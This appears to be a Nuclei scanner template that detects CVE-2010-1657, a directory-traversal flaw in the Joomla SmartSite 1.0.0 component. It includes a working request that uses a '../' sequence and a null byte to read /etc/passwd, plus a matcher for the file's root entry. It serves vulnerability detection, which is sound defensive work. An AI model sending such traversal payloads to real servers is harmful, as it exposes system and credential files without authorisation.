id: CVE-2010-1657

info:
  name: Joomla! Component SmartSite 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SmartSite (com_smartsite) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component SmartSite or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1657
    - https://www.exploit-db.com/exploits/12428
    - http://www.vupen.com/english/advisories/2010/1006
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58175
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1657
    cwe-id: CWE-22
    epss-score: 0.19192
    epss-percentile: 0.97048
    cpe: cpe:2.3:a:recly:com_smartsite:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: recly
    product: com_smartsite
  tags: cve,cve2010,joomla,lfi,edb,recly,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a337cb99e25d25e629462de2aada4b0831cf8b3e37a1e4f78851e49e10b26f7c022100b48eef0a6c4ce2d5c42967364049cafbe6b85aa357f7e1e6dae2349ffd045a45:922c64590222798bb761d5b6d8e72950